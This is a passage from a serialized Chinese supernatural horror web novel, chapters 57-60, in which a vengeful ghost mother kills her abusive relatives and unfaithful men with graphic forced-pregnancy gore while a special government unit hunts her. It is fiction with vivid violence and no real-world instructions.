女人没有回答,只是缓缓抬起手,轻抚着自己平坦的腹部,又指了指林天骄的肚子,脸上浮现出一个扭曲的微笑。
卫生间的灯光开始闪烁,先是微弱的颤动,随后变得越来越剧烈。在这忽明忽暗的光线中,林怀思的形象变得更加恐怖。
林天骄瞪大双眼,惊恐的看着女人一步步朝自己走来,苍白的双脚踩在瓷砖上,却没有发出任何声响;每迈出一步,都有暗红色的液体从她的身下涌出,在地面上留下一道蜿蜒的血痕。
浓烈的血腥气熏得林天骄想吐。
恐惧如同一只无形的手,扼住了林天骄的喉咙。他的呼吸变得急促而浅薄,双腿因极度的惊惧而颤抖不已。
“姐”他牙齿打颤的喊,“不是我害死的你,你找我干什么?”
林天骄的眼珠疯狂转动,寻找着任何可能的逃生路线,然后绝望的发现唯一的出口被女鬼堵着——卫生间有窗,但医院可能是怕有人跳楼,给窗户装了铁网。
见女鬼无动于衷,林天骄的声音提高了八度,近乎尖叫的说道:“你去找姐夫啊!是他让你怀孕的!”
林怀思依然不为所动,只是灯光闪烁得更剧烈了。
林天骄拼命后退,直到后背抵上了墙壁,提醒他已无处可逃。
崩溃的泪水夺眶而出,林天骄跪地求饶:“实在不行你去找爸妈啊!不是我逼你嫁人的,是他们逼你的!”
话音落下,灯光不再闪烁,固定在一个暗淡的亮度上;房间里的温度骤然下降,林天骄呼出的气体在空气中形成白色的雾气。
林怀思停在他面前,低头俯视着这个曾经的弟弟。
她缓缓扯起嘴角,露出一个令人毛骨悚然的微笑,嘴角拉伸得过于夸张,几乎延伸到耳根,露出一排惨白的牙齿。
“你们”她的声音如同破碎的唱片,飘渺又尖锐,“我一个都不会放过别急”
最后两个字拖得很长,变成一种刺耳的嘶鸣,刺得林天骄耳膜生疼。接着,他注意到林怀思的腹部开始诡异的蠕动,仿佛有什么东西在里面挣扎着要出来。
林天骄意识到了什么,脸上血色全无,血液仿佛凝固在血管中。
他知道,自己即将面临可怕的事情。
【作者有话说】
[撒花]
57 第 57 章
◎李小虎交新朋友◎
隔天早上, 口吐白沫的林天骄才被发现昏迷在卫生间。
经医生诊断判定为突发性癫痫,然而无论使用什么药物和治疗方法, 他都始终未能恢复意识。并且,他的腹部以肉眼可见的速度膨胀,仿佛有什么东西在体内快速生长。
三天后的深夜,值班护士听见林天骄的病房传来撕心裂肺的惨叫。当她冲进房间,眼前的景象差点把她吓死——林天骄的腹部撕裂,一个血淋淋的类人形生物正从伤口中爬出, 伴随着大量脏器和组织的溢出。
而林天骄那张原本因肥胖而圆润的脸,此时干瘪得如同被吸干了所有水分,眼窝深深凹陷,躯体也瘦的皮包骨, 如同一具木乃伊。
林父林母接到医院电话,匆忙赶往现场, 却在出门时遭遇了突发事故:一辆出租车直接撞上了他们。这本可能是个可怕但尚可挽救的意外, 然而当救护车到达现场, 准备停车时,引擎突然失控,车轮径直碾过两人的头颅,两人的脑袋当顿时宛如西瓜一样爆开。
死亡现场惨不忍睹, 林父林母的脑组织混合着血液撒了一地, 几乎无法辨认。事已至此, 救护车团队只能报警。
很快,警方到达现场进行责任调查, 接着法医也赶到现场勘查, 初步记录死因。
法医在检查过程中发现两人腹部呈现不自然鼓胀, 带回院内解剖, 发现他们体内各有一个半成形的畸形胎儿,全员哗然。
***
陈强在得知岳父岳母意外身亡的消息后,没有表现出任何悲伤,此时的他正在与情人赵美舒旅行,根本没空关注其它事。
两人入住了海边一家五星级酒店的总统套房,用的是医院给的赔偿金。
当晚,情侣二人在享用完奢华的烛光晚餐后,开了一瓶价值不菲的香槟,举杯相庆。
“单身快乐!”陈强笑着说。
赵美舒搂住他的脖子,一边用手指在陈强胸膛上画圈,一边媚笑道:“你妈那事搞清楚了没?也太邪乎了。”
陈强闻言想起母亲诡异的死法,兴致瞬间消退了大半,点了根烟,抽了几口后道:“要报复也报复不到我一个大老爷们身上。”
赵美舒挑眉,娇嗔道:“那她万一报复我怎么办?”
陈强冷哼一声,“有我在你怕什么。”
丝毫不提陈母出事的时候他就在隔壁。
正当两人亲热之际,房间的灯光突然熄灭。陈强烦躁的拨打前台电话,却发现线路一片死寂,打不通。
“什么五星级酒店,居然停电了,电话也打不通,我一定要打差评。”他骂骂咧咧的打算出去叫人,却在转身的瞬间,看到床边站着一个熟悉的身影。
“卧槽!怀、怀思?”陈强结结巴巴的念出前妻的名字,酒精带来的醉意瞬间消散。
林怀思的形象与他最后见她时大不相同——苍白的脸上布满青黑色的血管,眼眶深陷,嘴角挂着不自然的微笑,瞳孔很大,漆黑的瞳仁几乎占据了整个眼眶,看不见一点眼白。
“陈强你很快活啊”林怀思幽幽说道。
“这这不可能!你已经死了!”陈强向后退去,慌乱中不小心碰倒了床头的香槟酒瓶。
赵美舒吓得够呛,声音颤抖:“陈陈强,你搞的恶作剧?”
陈强这会根本没心情理会情人,双眼死死瞪着眼前的女鬼。
林怀思的腹部突然剧烈蠕动了几下,接着病服下的皮肤撕裂开来,一只小小的、沾满黑色液体的手从中伸出,一个畸形的婴儿头颅挤了出来,它有着与林怀思相似的面容,但扭曲狰狞得邪恶。
“不不要过来!”陈强头皮发麻地抓起床头的台灯当武器,却被突然闪现到身后的林怀思抱住了腰。
“怕什么,你打我的时候不是很威风吗。”林怀思低声笑道,笑声越来越尖锐,充满了怨气。
赵美舒见女鬼注意力不在自己身上,试图悄悄逃走,却看见门口趴着一个通体青紫的婴儿。正是女鬼肚子里的那个,不知道什么时候跑到了门口堵着。
赵美舒眼前一黑,后悔和陈强搞在一起了,更恨不得回到昨天一巴掌拍醒兴高采烈出门旅游的自己——都知道陈强母亲死得不对劲了,她居然还抱着侥幸心理,觉得是陈强说出来吓唬她的。
下一秒,整个房间充斥着婴儿尖锐的哭声,那绝不是正常婴儿的啼哭,而是一种充满恶意渴求进食的嚎叫。
五分钟后,凄厉的惨叫声从总统套房内传出,然后戛然而止。
翌日中午,酒店清洁工照常上门打扫卫生,敲了好一会儿门也迟迟等不到房间里的回应,告知了前台,前台打了几个电话,一直打不通,以防出什么意外,酒店经理最后用备用钥匙打开了房门,然后看见了恐怖的场景:
一男一女两具尸体躺在被鲜血染红的床上,内脏散落一地,空气中弥漫着令人作呕的浓烈血腥味。
***
陈强出事时的同一时刻。
自从妻子死后,陈父就接连噩梦缠身、食欲不振、幻觉困扰——他总是看见死去的儿媳站在床尾、听见婴儿的哭声从隔壁房间传来、吃饭的时候经常幻视饭里出现蠕动的虫子
加上妻子的死太过诡异,他怀疑是死去的儿媳干的。
儿媳在家里过的是什么日子他心里清楚,心虚的他去寺庙烧香拜佛,请来法师驱邪,尝试各种民间方法,但噩梦依旧持续。
又一次半夜惊醒,陈父满头大汗的去客厅接喝水,看见饮水机里流出的不是清水,而是粘稠的血液,他尖叫着退后,却撞上了一个冰冷的身躯。
转身看去,林怀思站在他身后,怀中抱着一个黑色的包裹。
“看你的孙子”林怀思微笑着向他展示那包裹,随着布料滑落,露出一个令人毛骨悚然的婴儿——它有着正常的身体结构,却长着陈强痛苦扭曲的脸。
陈父脸色煞白地捂着胸口倒下,在地上抽搐,眼睁睁看着林怀思蹲下,将怀中的婴儿塞进他的肚子
一阵剧痛袭来,陈父痛晕了过去。
再醒来,他看见自己腹部大的惊人,皮肤都被撑得透明,能看见下方的脏器。疼痛加剧,他忍不住哀嚎起来,肚子还在膨胀,直到爆开,一个婴儿从里面钻了出来,坐在他的身体里,啃食着他的肠子。
陈父的惨叫声持续了足足十分钟,邻居们闻声报警,警方破门而入时,只见陈父躺在血泊中,腹部被剖开,内脏缺失,面容因极度恐惧而扭曲。
***
【机密文件|A类诡异事件档案
代号:鬼母
描述:一个被迫结婚生子、在分娩过程中死亡的女性,因极度怨恨转化为诡异,能够强行植入畸形胎儿到活人体内,让受害者体验她所经历的痛苦。
目前受害人数:7人。均为鬼母生前的家人,分别是鬼母的父母、弟弟、丈夫、公公婆婆,以及孩子。
鬼母原名“林怀思”,女,25岁】
“她的复仇应该已经完成了。”朱德宏看着手中的档案,对重编的侦查二组全员说道,“但这不意味着她会就此消失,诡异一旦形成,除非外力消灭,否则它们会永远存在,永远不断寻找新的受害者。”
“你们的任务就是消灭它们。”
***
傍晚。
客厅里内弥漫着食物的香气。
李小虎一边往嘴里塞着米饭,一边神秘兮兮的宣布:“我交了个新朋友。”
众人(鬼)继续各自专注于面前的饭菜,没人对这个消息表现出特别的兴趣。
李小虎继续说:“他年纪很小,特别小,以后我就是他的大哥了,我要罩着他。”语气中充满幼稚的自豪感。
宴泠昭夹菜的手略微一顿,抬起眼皮,目光越过碗沿看向李小虎:“你的新朋友是鬼是人?”
“当然是鬼了。”李小虎回答得很干脆。
“嗯。”宴泠昭收回目光。
王大爷慢悠悠地夹起一块红烧肉,何老轻抿一口茶水(宴泠昭不喝茶,茶叶是何老从自己家里拿的),田燕婉安静的咀嚼着青菜宴泠昭好歹还问一句,他们是半个字都懒得说。
这种反应也在情理之中——宴泠昭最近几乎足不出户,仅限于在小区范围内活动。而外界的鬼怪又无法随意进入小区。通过简单的逻辑推理可得:李小虎口中的新朋友必然是小区内的鬼。
而既然是小区里的鬼,大家都一个“地盘”上的,那就无所谓了。
宴泠昭倒是不在乎李小虎结交的是小区里的朋友还是外面的朋友,他真正关心的只有一点:李小虎不要去祸害活人就行。
“我吃完了!”李小虎放下碗筷,迫不及待的道,“我去找新朋友啦!”
宴泠昭点了下头。
得到允许,李小虎一溜烟跑出家,来到小区偏左下角落的一个喷泉池。
值得一提的是这个喷泉池本来已经搁置了,没人管了,水也早就干了。但李小虎来了后就重新运作了起来——李小虎往里面灌满了水。
至于水哪来的,别忘了李小虎是水鬼。
“小弟弟,你来了没有?”李小虎对着水池呼唤道。
等了一会儿,喷泉池的一处水面突然泛起阵阵涟漪。
随后,一个小小的、模糊的身影从水中慢慢浮现——那是一个看上去只有几个月大的婴儿,浑身湿漉漉的,皮肤呈现出不自然的青白色。
“我给你带了东西!”李小虎说着从口袋里掏出一个小玩具,是他最爱的玩具小车,“你喜欢吗?”
婴儿并没有伸手去接,而是盯着玩具车,水面突然形成一个小小的漩涡,将玩具车缓缓吸了进去,然后又推回李小虎面前。
李小虎发出“咯咯咯”的笑声:“我来教你更好玩的!”
话音刚落,他跳入喷泉池中,将水流塑造成不同的形状:一会儿是一条龙,一会儿是一朵花,变幻莫测。
婴儿鬼安静的看着,时不时尝试模仿。尽管他的控水能力还很稚嫩,但在李小虎的鼓励下,最后成功的让一小股水流形成了一个简单的环状。
“不错,你学得很快!”李小虎拍手赞叹,“作为我的小弟,我认同你了,以后若是有人欺负你,哥罩着你!”
婴儿鬼似乎听懂了这番话,嘴角微微上扬,露出一个天真无邪(划掉)阴森可怖的微笑。
“我再教你一个更厉害的!”李小虎兴奋的说道,开始在水中制造一个微型漩涡。
婴儿鬼好奇的靠近,试图学习这个新技巧。
突然,他表情一顿,身体微微颤抖,仿佛在回应某种无形的召唤。
“怎么了?”李小虎注意到小弟转移注意力,问道。
婴儿鬼摇了摇头,张嘴口齿不清的叫道:“啊阿巴巴阿巴阿巴。”
【作者有话说】
[撒花]
58 第 58 章
◎鬼母杀人◎
“你是说, 你妈叫你?”李小虎不确定的问道。
婴儿鬼点了点头。
李小虎:“好吧,那下次再玩。”
话音落下, 婴儿鬼的身体开始融解,迅速消散在喷泉池中,只留下一圈涟漪作为曾经存在的证明。
李小虎撅了噘嘴,小弟走了,他一个人玩太没意思。
***
深夜。
B市第一人民医院,产科病房。
一位年轻的产妇正处于分娩的最后阶段。她的丈夫李明坐在等候区, 低头看着手机,与备注宝贝的联系人发着暧昧信息。
就在产妇力竭、婴儿呱呱落地的那一刻,等候厅的灯光突然闪烁,随后完全熄灭。阵阵抱怨声中, 护士让大家别急,马上就来电了, 另外不用担心手术室, 手术室用的都是备用电源, 永远不会停电。
护士说的没错,整个过程大约就持续了七八秒,灯重新恢复了光亮。
只是在灯亮起的瞬间,护士似乎看到一个披头散发、穿着病服的女人低着头站在一个家属身边, 仿佛是在看那位家属的手机。
眨了下眼再看去, 那个女人消失不见了。
护士犹豫了几秒, 只当是自己看错了。
——在医院工作的人多多少少都信点那玩意儿,没办法, 有些事情发生得是真玄乎, 无法用科学解释。
手术室大门打开, 助产士抱着新生儿走出来, 喊道:“谁是王芬的家属?”
李明正聊到兴头上,根本没听见。
助产士见没人认,又喊了句:“谁是王芬的家属?”
李明点开对面发来的图片,是一双穿着黑丝的修长大腿美照,看得他眼睛冒光,正想回复,突然感觉脖子刺痛了下,他下意识仰头活动脖颈,还以为是低头时间长了导致的,这时刚好助产士又高声喊了句谁是王芬家属,这回他总算是听见了,忙站起身收起手机回道:“我!”
助产士见人明明就在这里,还非要她喊三次才有反应,再一看这吊儿郎当明显不上心的样子,冷着脸说道:“来看看吧,你媳妇给你生了个女儿。”
李明一听是女儿不太高兴,“啧”了一声,走过去不情不愿的接过襁褓里的孩子。
助产士干了十多年,一看李明这样子立马懂了,忍着踹他几脚的冲动,板着脸说道:“只是给你看一下,孩子等会要跟妈妈一起回病房。”
李明闻言巴不得,立即就把孩子还了回去。
助产士重新抱回孩子返回手术室。
李明拿着手机站在一边继续撩骚。
没多久,王芬被推了出来,女婴被放在她身边。
李明沉迷手机,自己老婆出来了都没注意到,助产士实在是看不下去了,怒道:“一会不看手机会死?你老婆刚生完孩子,正是虚弱的时候,你给她准备吃的了吗?”
被人当众这么说,感受到其他人看来的目光,李明脸上顿时有些挂不住,暗暗恼怒助产士一点人情世故都不懂,表面上扯着笑一副虚心听教的模样回道:“我这不是第一回,什么都不懂嘛。你有什么好的建议吗?”
助产士忍着翻白眼的冲动,耐下性子说:“清淡的,容易消化的流食或半流食。”
等这群人走后,等候区发出窃窃私语的谈论声。
“啧,这年头真是垃圾都有人给他生孩子。”
“他媳妇在里面他是一点都不担心啊,也不知道在和谁聊天,脸都要笑烂了。”
“好像除了他没看到其他人,这孕妇娘家人居然不来吗?”
新生命降临的喜悦与伤口的疼痛交织在一起,王芬虚弱的躺在产床上,苍白的脸上挂着一层细密的汗珠。
将近二十个小时的分娩过程几乎耗尽了她全部的体力,但当护士将那个小小的、皱巴巴的生命放入她怀中时,所有的痛苦都有了意义。
她费劲的伸出手,指尖轻轻抚过孩子的脸颊,那种柔软的触感让她的心都快要融化了。
王芬转头望向丈夫,眼中满是期待:“她的眼睛特别像你。”
然而李明的目光却飘忽不定,一只手不断的在裤兜里摸索着手机,身体重心也不断从一只脚转向另一只脚,整个人处于一种莫名的急切状态。
“嗯,挺好的。”他敷衍的应了一声,然后道:“我去个厕所。”
话刚说完,他就已经匆匆转身向门口走去,脚步十分轻快。
王芬望着丈夫匆忙离去的背影,熟悉的失落感再次涌上心头。
自怀孕以来,李明的态度就日渐冷淡,那些曾经的甜言蜜语如今想来讽刺至极。父母当初的警告言犹在耳:“那小子不靠谱!你不能和他在一起!”
可她那时偏偏不信,以为自己能够改变他如今事已至此,后悔又有什么用呢。
王芬叹了口气,重新看向身边的孩子。小家伙睡得很熟,微微隆起的胸膛随着呼吸规律起伏。看着这个由自己孕育的新生命,她的眼神柔和下来——至少,她并非一无所有。
“妈妈有你就够了”她轻声对孩子说道,泪水无声滑落。
另一边。
李明并未前往厕所。离开病房后,他径直穿过医院大厅,迈入夜色中。
十月的夜晚已带着丝丝凉意,但他感觉不到寒冷,反而有种解脱般的轻松。
他快步走到医院围墙外的僻静角落,掏出手机,按下那个标记为宝贝的号码。电话几乎是立刻就被接起,对面传来一个甜腻的女声:“终于打来啦?”
“嗯,刚脱身。”李明的声音瞬间变得柔情似水,与方才在产房中的冷淡判若两人,“她生了个女儿,真没用。”
“恭喜啊。”女声笑道,有些阴阳怪气。
“亲爱的,别这样。”李明压低声音,语气急切,“等办完手续,我就跟她离婚。到时候我们就能光明正大的在一起了。”
“孩子呢?”
“你想要吗?”
“嗯当小猫小狗养也不错。反正我不想生孩子,生孩子身体走形。”
两人的谈话持续了一个多小时,从甜言蜜语到未来规划,再到露骨的调情。李明全然忘记了医院里刚刚为他诞下骨肉的妻子,沉浸在新欢带来的甜蜜幻想中。
直到对面说有事先挂了,他才意犹未尽的结束通话,手指在屏幕上留连片刻,仿佛不舍分离。
可惜,当手机屏幕暗下去的那一刻,现实回归,他还得回到产房,假装一个关心妻儿的模范丈夫。
为了掩饰长时间的失踪,李明在路边摊买了一碗粥带回去。
至于路边摊不干净?哪儿那么娇气。
他拎着粥向医院走去,丝毫没有注意到身后跟着一个穿着病服的女人,女人步伐轻盈得不似人类,就像是飘在空中的
李明踏进医院,刹那一股寒意自后背升起,让他不禁打了个寒颤。他疑惑的回头张望,一切正常。
然而,当他转回身继续向前走时,眼前的景象让他瞬间愣住——刚刚还人来人往的医院大厅此时空无一人。
前台、护士站、等候区所有原本应该有人值守或等待的地方都空空如也。
什么情况?李明头皮发麻,下意识后退了两步。曾经看过的各种恐怖情节在脑海中上演。
不祥的预感浮上心头,他转身就想退出医院,然而医院大门突然重重关上,任凭他怎么用力都打不开。
李明彻底慌了,见出不去,他干脆转身加快脚步向电梯。但电梯门纹丝不动,显示屏也是一片漆黑。
与此同时,医院内的灯光突然全部熄灭,整个空间瞬间被黑暗吞没。唯一的光源来自窗外的月光,投射出几道惨白的方形光斑在地面上。
李明的心跳骤然加速,手中的粥盒掉落在地,热粥溅了他一脚也浑然不觉。他掏出手机,试图用屏幕的光照明,却发现手机毫无征兆的关机了,无论如何按压电源键都无法重启。
“怎么回事”他颤抖着声音,汗水从额头滑落。
这时,他听到一种奇怪的声音从黑暗中传来——轻柔的,如同水滴落在瓷砖上的响声。起初还很遥远,但正在逐渐靠近。
“嘀嗒、嘀嗒”
李明受不了了,拔腿就跑。可无论他怎么走,似乎都在原地打转,每条走廊、每个拐角都惊人的相似,就像陷入了一个无限循环的迷宫。
滴答声越来越近,伴随着若有若无的哭泣声——像是婴儿的啼哭,又像是女人幽怨的哭声。
当李明第三次回到同一个护士站时,他绝望的放弃了抵抗,主要是也跑不动了,蜷缩在角落里,双手颤抖着抱住膝盖。
“嘀嗒,嘀嗒”
“呜呜呜呜”
“嘀嗒。”
声音近在眼前了,李明咬牙抬起头,看见一个身影站在不远处,是一个女人,穿着沾满血迹的病服,长发披散,遮住了大半张脸。
“你、你是谁!”李明已经吓得说不出完整的句子。
女人没有说话,只是缓缓抬起右手,指向李明的肚子。
李明看见女人的手是青紫色,指甲是黑色。明显不属于活人。
李明吓得拼命向后退,直到背部撞上墙壁,无路可退。
“我不认识你,我没招惹你啊!”他语无伦次的哀求,眼泪和鼻涕混合在一起。
女人没有回应,但她的腹部突然剧烈蠕动,随后一个婴儿大小的黑影从中爬出,落在地上。
小鬼爬行的速度惊人,眨眼间便到了李明身前。它仰起头,露出一个残忍的微笑,然后伸出异常锋利的爪子,扑向李明的腹部。
接下来的场景如同恐怖的噩梦:小鬼的爪子轻易撕开李明的皮肤和肌肉,钻进他的腹腔。李明的尖叫声回荡在空荡的医院走廊中,却无人听见。
他能感觉到那个生物在他体内移动、翻转、扩张,剧痛让他几乎昏厥,却又被某种力量强行保持清醒,迫使他体验每一分痛苦。
李明腹部的皮肤被撑到极限,血管清晰可见。他的尖叫逐渐变成微弱的啜泣,生命力正在快速流失。
最后,在一声湿润的撕裂声中,他的腹部爆开,内脏和血液喷涌而出。一个漆黑的、沾满血污的婴儿从伤口中爬出,发出清脆的笑声,不过又像是哭声。
女人走过来,伸手接住了它,抱在怀中,就像母亲怀抱自己的孩子一样。接着,她转过身,缓缓消失在走廊尽头的黑暗中,只留下李明破碎的尸体和一地的血污。
半小时后,维持异空间的力量消散,李明回到了“现实世界”。
医院传出尖叫。
【作者有话说】
[撒花]
59 第 59 章
◎救鬼啊◎
李明的尸体是凭空出现在医院走廊上的。彼时一位护士正匆忙行走在这条走廊上, 她低头翻看着手中的病历,丝毫没有察觉到前方地面上的异常。
当她即将踏过尸体, 右脚都已经抬起来,余光终于瞥见脚下似乎有个人(因为穿着衣服),护士当即变更步伐,但来不及了,她的脚尖还是踢到了对方。
护士吓了一跳,赶忙低头看去, 映入眼帘的画面让她整个人僵在原地——
一具血肉模糊的尸体横躺在走廊上,腹部被撕裂,内脏外露,血液汇聚成一片暗红色的湖泊。而她本人, 此刻就站在这片血泊之中,白色的护士鞋已被染成刺目的红色。
三秒钟的震惊后, 一声足以刺破耳膜的尖叫从她喉咙深处迸发出来。
“啊!”这声尖叫瞬间吸引了走廊两端所有人的注意。
医护人员、病患、访客纷纷转头, 随后是更多的尖叫声、惊呼声和慌乱的脚步声。不明所以的人则好奇的聚集过来, 形成一个不断膨胀的“混乱漩涡”。
其中有几位旁观者,震惊过后第一反应是掏出手机,将镜头对准尸体,记录下这血腥恐怖的一幕。
“发到网上肯定火!”一个二十出头的年轻人一边录像一边兴奋的低声自语。
“图片-选择-确认发送-家族群!”另一位中年男子快速编辑着信息。
还有人打开社交媒体应用, 熟练的为照片添加模糊处理后上传上去。
医院瞬间陷入一片混乱。有人尖叫, 有人拍照好奇的人群不断涌入, 进一步加剧了情况。
所幸,医院的安保团队反应迅速——数名身着制服的保安挤过人群, 一边大声喊着“请让一下”, 一边展开隔离带, 迅速在尸体周围设立临时警戒线。
“大家请后退!请离开现场!”领队保安扯着嗓子喊道, “医院已经报警,请配合工作,不要拍照,不要传播信息!”
二十分钟后,警笛声划破了医院外的宁静。三辆警车和一辆法医勘察车停在入口处,车上的人员开门下车快速进入医院。
“所有人都退后!这里已经成为犯罪现场调查区域!”带队的刘警官环视四周,语气严肃,“请所有非必要人员立即离开,在场医护人员留下协助调查。”
两名警员开始清场,另外两名则架起更专业的隔离带,将整个走廊封锁。法医团队穿上防护服,开始对尸体进行初步检查。
“死者为男性,26岁左右。”杨法医蹲在尸体旁,声音透过口罩传出,显得有些闷,“腹部有大面积撕裂伤,内脏部分缺失死亡时间初步判断在一个小时内。”
“对造成伤害的凶器有猜测么?”刘警官问道。
“这就是最奇怪的地方。”杨教授指向伤口边缘,“这种撕裂模式不像是工具造成的,更像是从内部被撑破的。”
刘警官的表情凝重起来。作为一名经验丰富的刑侦人员,他立刻意识到这可能是那种“特殊案件”——上级最近刚下达过指示,如遇无法用常规方式解释的现象,需立即上报。
他们私底下统称“特殊案件”。
“拍完照片后,立即将尸体转移到特殊隔离室。”刘警官对法医团队说道,然后转向一旁的年轻警员,“吴斌,去查一下监控。”
说完,他掏出手机,拨通了一个号码,这是上级给他的紧急联系方式,专门用于上报特殊案件的。
***
不到一小时后,几辆普通的黑色商务车停在医院后门。车门滑开,八名身着便装但举止专业的人员迅速下车。他们看似普通,但走路的姿势、观察环境的方式都透露出专业训练的痕迹。
这是朱德宏的特殊部门下后勤部的现场调查组。每位成员都佩戴着科学院研发的特制腕表,能够检测环境中的异常(阴性)能量波动。
调查组组长组长吴安宁向警方出示了特别通行证,随后接管了现场。当他们接近尸体时,腕表上的数值开始急剧攀升,从正常的绿色数字变为警示的红色,能量指数从基准值3迅速飙升至389。
“确认灵异事件。”吴安宁对着隐藏式麦克风说道,“能量残留显著,建议启动全面调查。”
现场组迅速分工:两人调查尸体信息,两人询问第一目击者,也就是那名护士,两人审阅监控录像,两人搜集环境数据。
吴安宁打开监控录像,根据从护士嘴里得到的信息确认时间,然后将监控调到确认时间的前五分钟。
画面中的走廊一切正常,但突然间,尸体出现位置的地面上出现了类似水波纹的扭曲,随后尸体就这样凭空出现。
不久后,负责调查死者身份信息的两名组员将紧急调出来的资料拿给吴安宁。
死者:李明,26岁,某公司销售经理其妻子今天凌晨在该医院生下一名女婴。
吴安宁沉吟片刻,前往产科病房与李明的妻子王芬交谈,王芬还不知道自己丈夫死了,她老实回答了吴安宁的所有问题。
吴安宁了解到李明昨晚离开产房后再未回来,以及他们夫妻之间的关系状况。结合死者手机通讯记录和其他信息,吴安宁确认这是鬼母作案。
“是鬼母。”吴安宁向总部汇报,“这已经是本月第五起同类案件,均针对背叛伴侣或强迫生育的男性。目标手法一致,均为腹部撕裂”
***
特殊部门指挥中心。
朱德宏阅读着最新案件报告,眉头紧锁。
“这已经是本月第五起了,但今天也才五号。”他对着会议室里的众人说道,“如果这个频率持续,恐怕会造成大范围的恐慌。”
朱德宏压力很大。
这次没有作者的小说预警,他们只能通过自己调查和有限的探测设备来追踪鬼母。而结果显而易见:不怎么有效。
不过这种情况也是常态了,以前没有作者的时候难道国家就对付不了诡异了?
朱德宏也不希望太过于依赖作者,毕竟作者立场不明,而且对方是不是人都不知道。
会议桌上,放着一张标着红点的城市地图。红点是鬼母这五次攻击的活动范围,所有事件都发生在城市东南区的几家医院。
“我们已经基本摸清了她的行为模式。”数据分析师刘明指着地图说,“她只针对产妇的不忠伴侣或强制生育的家庭成员,而且活动范围似乎限制在这个区域。”
朱德宏点点头:“调动所有可用人力,对这一区域内的医院产科进行全面排查和监控。特别关注那些关系不合的家庭。”
“如果能确定潜在目标,我们就可以提前部署人员进行保护或引蛇出洞。”侦查组总组长高毅建议道。
***
10月7日,国庆最后一天,也是特殊部门设下埋伏后的第二天。
侦查二组的六名成员分散在第四人民医院产科病房的各个角落,他们伪装成医护人员、保洁工和家属,静静等待着鬼母可能的出现。
他们小组保护的目标叫王建军,33岁。
根据事先调查,王建军不仅对怀孕的妻子施加精神压力,还有多段婚外情。如果鬼母延续以往的选择标准,他极有可能成为下一个目标。
晚上11点,医院逐渐安静下来。二组组长范刚通过耳机联系各位组员:“所有人保持警惕,如果鬼母选择王建军,她动手大概率就是在这个时间。”
组员:“是。”
二组细心观察腕表,腕表显示周围能量水平始终维持在正常范围,不过随着时间流逝,空气中似乎开始弥漫开一股说不清道不明的紧张感。
11:55。
医院走廊的灯光突然闪烁了一下。
“能量值波动了。”范刚低声道,“各就位注意,来了!”
说着,范刚握紧腰间的特制手枪。
不用多说,这把看似普通的手枪装载的是研究院特制的阴性子弹,能够对诡异造成大量伤害。
其他组员也做好了战斗准备。
00:00:01
午夜刚过,医院的温度骤然下降,水汽在空气中凝结,呼出的气体变成白雾。
“能量值飙升,70!85!97!744!”范刚冷静道,“她来了。”
走廊尽头,一个穿着惨白病号服的女人缓缓浮现,她的双脚未曾触地,长发如黑色瀑布般垂落,遮住了大半张脸。最令人毛骨悚然的是,她的腹部有一个巨大的空洞,隐约可见内部蠕动的黑影。
“目标确认,所有人就位。”范刚通过耳机下令“记住,按照计划行动,不要贸然接近。”
六人以王建军为圆心,迅速形成合围之势,特制武器均已准备就绪。
鬼母似乎察觉到了他们的存在,停下前进的步伐,缓缓抬起头,从垂落的黑发间露出一双空洞而冰冷的眼睛,直直的朝躲在拐角墙壁后的成员看去。
下一秒,千百个婴儿同时啼哭的声音响起,震得在场所有人耳膜刺痛。
同时,医院走廊内的所有门突然同时打开,数十个婴儿状的黑影从中爬出,速度惊人的向队员们扑来。
“开火!”范刚果断下令。
特制手枪发射的子弹在空中留下淡蓝色的轨迹,击中几个鬼婴,将它们瞬间化为黑烟。黑棍和匕首(科学院特制版)也展现出超凡的威力,每一次挥舞都能将这些诡异生物击退。
然而,鬼婴的数量实在太多,队员们很快陷入苦战。更糟糕的是,鬼母本身并未参与战斗,而是趁着混乱,继续向目标病房移动。
“吴组长!她要去王建军的病房!”一名队员大喊道,声音中带着急迫。
范刚当机立断:“居向明、张威,你们跟我去拦截目标!其他人继续对付这些小鬼!”
在队友的掩护下,三人很快突破了鬼婴的包围,追向鬼母。当他们赶到王建军病房门口时,鬼母已经站在陪睡床前,正俯视着熟睡中的目标。
而王建军的妻儿并不在,加上医院突然少了很多人,答案很明了了:鬼母把他们拉到了另一个空间。
“止步!”范刚举枪瞄准,“再往前一步,我们就开火了!”
鬼母转过身,脸上浮现出一个不自然的笑容。她的腹部开始剧烈蠕动,一个青紫的婴儿从中爬出,比之前的任何一个鬼婴都要大,几乎有成人手臂那么长。
“为什么要保护人渣。”鬼母的声音带着某种扭曲的质问,“只有人渣才会同情人渣。”
不等范刚回应,那个巨大的鬼婴已经以不可思议的速度朝他扑了过去。居向明反应最快,手中的特制匕首闪电般刺出,正中鬼婴的胸膛。
一声凄厉的尖叫响彻整个医院,大股大股的黑气从鬼婴的伤口处溢散出,鬼婴也迅速缩小成正常婴儿的大小,委屈的哭泣着向鬼母爬去。
鬼母弯腰抱起脚边嚎啕大哭的鬼婴,眼里流露出深刻的怨恨。
“开枪!”范刚大喊,三人同时发起攻击。
特制子弹打在鬼母身上,每一击都带走一块虚幻的躯体。然而鬼母的再生能力惊人,伤口几乎在形成的同时就开始愈合。
鬼母流下两行血泪,仰头咆哮一声,无数的鬼婴从她身边生成,加入战斗
10月8日,上午十点。
宴泠昭无精打采的陷在沙发深处,整个人如同一滩散开的棉花,懒洋洋的蜷缩在靠垫间,目光半聚焦在对面墙上某个不存在的点上发呆。
家中唯二的另一个活物则全神贯注的盯着平板电脑屏幕,耳机半挂在耳朵上,手指在屏幕上疾速滑动,时不时发出一连串热情洋溢的咒骂。
“卧槽!你这个猪队友是怎么活到现在的?这波团战你跑什么跑?站住输出会死吗?”手机鬼的音量随着游戏局势不断攀升,“看我这波操作!三杀!四杀!还想跑?别做梦了兄弟!”
突然,一阵急促的风声从阳台方向袭来。然后窗帘猛地鼓起,下一秒,李小虎的身影从敞开的落地窗穿过,以一种介于漂浮与狂奔之间的姿态冲入客厅。
“救鬼啊!”
【作者有话说】
[撒花]
60 第 60 章
◎吓哭小孩◎
“是小弟!我小弟!”李小虎急切的解释道, 声音因焦虑而断断续续,“他、他受伤了!很严重, 就快要快要消散了!”
宴泠昭一时没反应来,“小弟?”
“就是我前几天交的新朋友,跟你们说过的。”李小虎急得几乎要哭出来,“他现在在喷泉那边,情况很不好求求你,快去看看吧!”
宴泠昭很想说他去也没用, 他又不是医生,更何况李小虎的新朋友是鬼,就算医生来了也没办法。但看李小虎悲痛欲绝的样子,他轻轻叹了口气, 起身道:“带路吧。”
***
